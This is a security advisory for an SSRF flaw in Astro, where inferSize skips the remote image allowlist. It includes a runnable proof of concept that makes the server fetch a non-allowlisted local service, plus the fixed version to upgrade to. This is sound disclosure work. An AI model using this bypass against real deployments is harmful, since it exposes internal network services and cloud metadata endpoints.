GHSA-cj9f-h6r6-4cx2
Astro is vulnerable to SSRF due to missing allowlist enforcement in remote image inferSize
Quick fix
GHSA-cj9f-h6r6-4cx2 — @astrojs/node: upgrade to the fixed version with the command below.
npm install @astrojs/node@9.5.4Details
## Summary
A bug in Astro's image pipeline allows bypassing `image.domains` / `image.remotePatterns` restrictions, enabling the server to fetch content from unauthorized remote hosts.
## Details
Astro provides an `inferSize` option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the `image.domains` or `image.remotePatterns` options).
However, when `inferSize` is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.
## PoC
<details>
### Setup
Create a new Astro project with the following files:
`package.json`: ```json { "name": "poc-ssrf-infersize", "private": true, "scripts": { "dev": "astro dev --port 4322", "build": "astro build" }, "dependencies": { "astro": "5.17.2", "@astrojs/node": "9.5.3" } } ```
`astro.config.mjs` — only `localhost:9000` is authorized: ```javascript import { defineConfig } from 'astro/config'; import node from '@astrojs/node';
export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), image: { remotePatterns: [ { hostname: 'localhost', port: '9000' } ] } }); ```
`internal-service.mjs` — simulates an internal service on a non-allowlisted host (`127.0.0.1:8888`): ```javascript import { createServer } from 'node:http'; const GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64'); createServer((req, res) => { console.log(`[INTERNAL] Received: ${req.method} ${req.url}`); res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length }); res.end(GIF); }).listen(8888, '127.0.0.1', () => console.log('Internal service on 127.0.0.1:8888')); ```
`src/pages/test.astro`: ```astro --- import { getImage } from 'astro:assets';
const result = await getImage({ src: 'http://127.0.0.1:8888/internal-api', inferSize: true, alt: 'test' }); --- <html><body> <p>Width: {result.options.width}, Height: {result.options.height}</p> </body></html> ```
### Steps to reproduce
1. Run `npm install` and start the internal service:
```bash node internal-service.mjs ```
2. Start the dev server:
```bash npm run dev ```
3. Request the page:
```bash curl http://localhost:4322/test ```
4. `internal-service.mjs` logs `Received: GET /internal-api` — the request was sent to `127.0.0.1:8888` despite only `localhost:9000` being in the allowlist.
</details>
## Impact
Allows bypassing `image.domains` / `image.remotePatterns` restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.
Are you affected?
Enter the version of the package you're using.